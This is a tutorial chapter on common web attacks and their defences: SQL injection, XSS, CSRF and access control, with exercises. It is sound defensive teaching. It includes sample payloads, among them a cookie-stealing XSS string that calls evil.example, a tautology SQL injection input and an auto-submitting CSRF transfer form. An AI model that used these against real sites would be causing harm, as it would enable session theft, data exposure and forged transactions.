Common web attacks and defenses
Memorizing "XSS is defended like this" for each attack fails you against attacks whose shape shifts slightly. What works is thinking from the conditions that let it succeed.
Many attacks share a common structure. An untrusted input reaches the place that interprets it as-is. Cut that path and the attack doesn't succeed.
What you'll learn in this chapter
- The success conditions and defenses for each of XSS, CSRF, and SQL injection
- What escaping and placeholders separate
- Why
SameSitealone isn't enough as CSRF defense - Why access-control failures rank #1 in the Top 10
Builds on the authentication/authorization distinction from Authentication and authorization. Basic reading of SQL and HTML makes concrete examples easier to follow.
What this chapter does not cover
Concrete implementations in frameworks and libraries are covered in context by existing guides.
| Topic | See |
|---|---|
| Comparing storage locations | Browser storage |
| Implementing token storage in SPAs | React Guide — SPA authentication |
The danger of innerHTML | JavaScript Guide — DOM manipulation |
| Authentication and authorization design | Authentication and authorization |
OWASP Top 10 as a guideline
As a guideline for which attacks to prioritize, OWASP publishes the Top 10. The 2025 order:
| ID | Category |
|---|---|
| A01 | Broken Access Control |
| A02 | Security Misconfiguration |
| A03 | Software Supply Chain Failures |
| A04 | Cryptographic Failures |
| A05 | Injection |
| A06 | Insecure Design |
| A07 | Authentication Failures |
| A08 | Software or Data Integrity Failures |
| A09 | Security Logging and Alerting Failures |
| A10 | Mishandling of Exceptional Conditions |
Access-control failure at #1 is worth noting. Simple build-in mistakes — "specifying someone else's ID revealed the data" — rank above flashy attacks.
SQL injection
Success condition
User input reaches a position where it's interpreted as part of a SQL statement via string concatenation.
// Dangerous
const sql = `SELECT * FROM users WHERE email = '${email}'`;
Setting email to ' OR '1'='1 builds this SQL:
SELECT * FROM users WHERE email = '' OR '1'='1'
The condition is always true; the whole table returns. Worse inputs can drop tables or read other tables.
Defense
Use placeholders (prepared statements).
// Safe
const rows = await db.query('SELECT * FROM users WHERE email = ?', [email]);
Why this works: the SQL structure and the value are sent to the database separately. The shape of the query is fixed first, and values are bound after. Even if OR '1'='1 is inside a value, it's interpreted as a string value, not as syntax.
"Escape the input" is also discussed, but the order looks like this.
| Defense | Rating |
|---|---|
| Placeholders | First choice. Separates structure and value |
| Input escaping | Second-best. Escaping holes and character-encoding traps exist |
| Input validation | Combine. Insufficient alone |
| Dynamically building table or column names | Placeholders don't apply. Restrict via allow-list |
Table names and ORDER BY columns can't be passed via placeholders. In that case prepare an allow-list of acceptable values in advance and check membership. The rule is "don't use user input as a column name directly".
Even with an O/R mapper, escape hatches for raw SQL (methods like whereRaw) remain. Concatenating variables there opens the same hole.
XSS (cross-site scripting)
Success condition
User input reaches a position where it's interpreted as HTML or JavaScript as-is.
// Dangerous
element.innerHTML = `<div>${userInput}</div>`;
Setting userInput to <img src=x onerror="fetch('https://evil.example/'+document.cookie)"> makes the script run in the viewer's browser.
Impact reaches everything a script can do.
- Impersonation via stolen cookies or tokens
- Rewriting the screen to show fake login forms
- Sending requests that look like the user's own operations
Three types
| Type | Path |
|---|---|
| Stored | Input is saved on the server and runs in other users' screens |
| Reflected | A URL parameter is output onto the page as-is |
| DOM-based | Doesn't touch the server — client-side JavaScript does a dangerous assignment |
Stored has the widest impact; boards and comment sections are typical.
Defense
Context-appropriate escaping is the basis. What matters here is that required escaping differs per context.
| Output context | What to escape |
|---|---|
| HTML text | < > & " ' |
| HTML attribute value | Above, plus quote handling |
| JavaScript string literal | Rules different from HTML |
| URL parameter | Percent-encoding |
| CSS value | CSS rules |
Avoid writing escaping functions from scratch. Framework template engines escape by default in most cases, so the practical defense is to not disable that.
// React embeds it as text — safe by default
<div>{userInput}</div>
// This explicitly turns escaping off. It's named accordingly
<div dangerouslySetInnerHTML={{__html: userInput}} />
Default escaping covers the path where a value would be interpreted as HTML structure. The remaining three rows of the table — JavaScript string literals, URL parameters, and CSS values — each follow different rules and are not covered by the default.
There is also a path the table doesn't list. When a whole URL goes into href or src, javascript:alert(1) contains no HTML metacharacters, so there is nothing for escaping to act on. What is needed there is scheme validation (allow only http / https), not escaping.
A complementary defense is CSP (Content Security Policy). Declare in a header which scripts are allowed to run, restricting inline scripts and loads from external domains. A layered defense that reduces damage when escaping is missed.
Placing tokens in localStorage means JavaScript can read them if XSS lands. Cookies with the HttpOnly attribute aren't readable from JavaScript. Pick storage from the angle of limiting damage assuming XSS. The comparison of storage locations is covered in Browser storage.
CSRF (cross-site request forgery)
Success condition
A logged-in browser is made to send an unintended request automatically.
The attack succeeds in this order.
- The user logs in to
bank.example. The browser stores the session cookie - The user opens the attacker's site
- The attacker's page submits a form to
bank.example - The browser automatically attaches the stored cookie to the request bound for
bank.example - The server sees a valid session and processes it as the user's own action
<!-- The attacker's site. Visiting is enough to send -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>
From the server's side, this is hard to tell apart from a legitimate operation. A valid session cookie is attached, the values are well-formed, and it really did come from the user's own browser. Checking authentication lets it through; what's missing is a check that the user intended the operation.
The difference from XSS is that the attacker cannot read the response. The same-origin policy blocks reading, so no data is stolen, but sending isn't blocked, so state-changing operations can be triggered.
Defense
OWASP's priority order:
| Priority | Defense | Mechanism |
|---|---|---|
| 1 | Synchronizer token pattern | Server issues an unpredictable token; requests must include it |
| 2 | Signed double-submit cookie | Alternative when server can't hold state. Bind to session via HMAC |
| 3 | Custom request headers | Custom headers hit the same-origin policy; effective for APIs |
| 4 | SameSite attribute | Don't attach cookies to cross-site requests |
The first one works because the attacker cannot know the token's value. The server issues an unpredictable value per user and embeds it in its own pages. An attacker's site that tries to load a bank.example page and pull the token out is blocked by the same-origin policy, which stops the response from being read. It uses the same asymmetry that makes CSRF possible — sending is allowed, reading is not — from the defending side.
The point is where #4 sits. OWASP considers SameSite alone insufficient in many environments. Treat it as one layer of defense-in-depth; combine with CSRF tokens or the double-submit pattern. Standalone is enough only when several conditions all hold — no shared registrable domain, no state-changing GETs, and using Strict.
Another important note. XSS defeats all CSRF defenses. If a script runs, it can read the token and forge a legitimate request. CSRF defense sits on top of XSS defense.
Other major attacks
| Attack | Success condition | Defense |
|---|---|---|
| Broken access control (IDOR) | Rewriting an ID in URL or parameter reveals someone else's resource | Verify owner-operator match server-side |
| Path traversal | Input containing ../ reaches a file path | Normalize the path and confirm it stays under the base directory |
| Open redirect | Redirect targets can be specified from outside | Restrict targets via allow-list |
| SSRF | The server makes requests to arbitrary URLs | Restrict destinations via allow-list and block internal networks |
| Insecure deserialization | Untrusted data is deserialized into objects | Verify signatures. Use safe formats like JSON |
Lining them up reveals a shared pattern. Untrusted input reaches an interpreter without validation. Defenses are shared too: insert either "treat as a value only" or "only accept pre-approved values" somewhere on the path.
How to structure a written answer
For "list three attacks to watch and explain the defenses", here's how to build it.
Write each attack as a triple to convey understanding rather than memorization.
- What happens — what the attacker does and gets
- Why it succeeds — what build gets through
- The defense and why it works — which success condition it breaks
Whether "why it works" is included is the dividing line. "Use placeholders" reads as memorization; "SQL structure and value are passed separately, so the value's content isn't interpreted as syntax" conveys understanding.
The three to pick — XSS, CSRF, SQL injection — is safe. Even better if you pick three with different natures: "input interpreted as SQL (SQLi)", "input interpreted as HTML (XSS)", "unintended requests sent (CSRF)" — a combination where success mechanisms don't overlap.
If you have room, mentioning that #1 of OWASP Top 10 is access-control failure — and that simple build-in mistakes rank above flashy attacks — shows understanding of priorities.
Common misconceptions
"Validating input prevents SQL injection." — Validation should be combined but is insufficient alone. First choice is placeholders — separating structure and value.
"Escaping prevents XSS." — Required escaping differs by output context. HTML escaping doesn't defend a JavaScript string literal. Practically, don't disable the framework's default escaping.
"Setting SameSite=Lax completes CSRF defense." — OWASP considers it insufficient alone. Defense-in-depth combined with CSRF tokens is the premise.
"CSRF is an attack that steals information." — The attacker cannot read the response. It isn't about stealing; it makes the user perform state-changing operations.
"XSS and CSRF defenses are independent." — If XSS lands, all CSRF defenses are defeated. CSRF defense sits on top of XSS defense.
Exercises
Q1. What vulnerabilities does the following code have, and what are the fixes?
app.get('/search', async (req, res) => {
const keyword = req.query.q as string;
const rows = await db.query(
`SELECT * FROM articles WHERE title LIKE '%${keyword}%'`
);
res.send(`<h1>Results for "${keyword}"</h1>` + renderRows(rows));
});
Answer and explanation
Answer: Two — SQL injection and reflected XSS.
1. SQL injection — keyword is concatenated into SQL. Inputs like ' OR '1'='1 rewrite the condition.
// Fix: separate structure and value via a placeholder
const rows = await db.query(
'SELECT * FROM articles WHERE title LIKE ?',
[`%${keyword}%`]
);
Note that % is assembled on the value side. What's passed to the placeholder is the finished search string.
2. Reflected XSS — keyword is embedded straight into HTML. A URL containing <script>...</script> runs when visited.
// Fix: escape as HTML before output
res.send(`<h1>Results for "${escapeHtml(keyword)}"</h1>` + renderRows(rows));
If a template engine is used, letting its default escaping handle it is reliable.
One variable reaches two different interpreters (SQL and HTML) — that's the problem in this code. Both entrances need defense.
Q2. You set SameSite=Strict for CSRF defense. Is that enough?
Answer and explanation
Answer: Not enough. Treat as one layer of defense-in-depth.
OWASP recommends not relying on SameSite alone; combine with CSRF tokens or double-submit. Standalone is enough only when all of these hold:
- Registrable domain isn't shared with other services (no attack path from subdomains)
- No state-changing GET requests exist
Strictmode is used- Origin validation is also in place
- Non-supporting browsers can be dropped
Also, Strict degrades UX. Users arriving from external links have no cookies sent, so a logged-in user is treated as logged-out.
A realistic setup is "SameSite=Lax + CSRF token". SameSite blocks most; the token catches what slips through.
Q3. An order-detail API GET /api/orders/:id requires login. Anything else to check?
Answer and explanation
Answer: Yes — verify server-side that the order belongs to the requesting user.
Requiring login only handles authentication. A logged-in user can rewrite :id and see someone else's order. This is the textbook Broken Access Control at the top of OWASP Top 10:2025.
// Insufficient — authentication only
const order = await orderRepo.findById(id);
// Needed — verify ownership match
const order = await orderRepo.findById(id);
if (!order || order.userId !== req.user.id) {
return res.status(404).end(); // 404 to hide existence, or 403 not to
}
Which code to return is a design choice. 403 says "we can't show it to you" but leaks that an order with that ID exists. 404 hides existence entirely.
Not linking to other users' orders from the UI isn't a defense. URLs can be typed directly.
Summary
- Many attacks share the structure "untrusted input reaches its interpreter as-is"
- SQL injection's first defense is placeholders. Structure and value are passed separately, so values aren't interpreted as syntax
- XSS required escaping differs per output context. Practical defense is not disabling the framework's default. CSP is a second layer that reduces damage
- CSRF isn't about stealing — it forces state-changing operations.
SameSitealone isn't enough; combine with CSRF tokens - If XSS lands, every CSRF defense is defeated
- OWASP Top 10:2025 #1 is Broken Access Control. Simple mistakes like ID rewriting exposing others' data are the typical shape
- Where placeholders don't apply (table names, column names, redirect URLs), restrict via allow-list
- Browser storage — Comparing the places a token can go
- React Guide — SPA authentication — Handling tokens in an SPA, and implementing the auth flow
- JavaScript Guide — DOM manipulation — Danger of
innerHTML - OWASP Top 10:2025
- OWASP — CSRF Prevention Cheat Sheet
What to read next
- Transactions — Descending into the database layer from here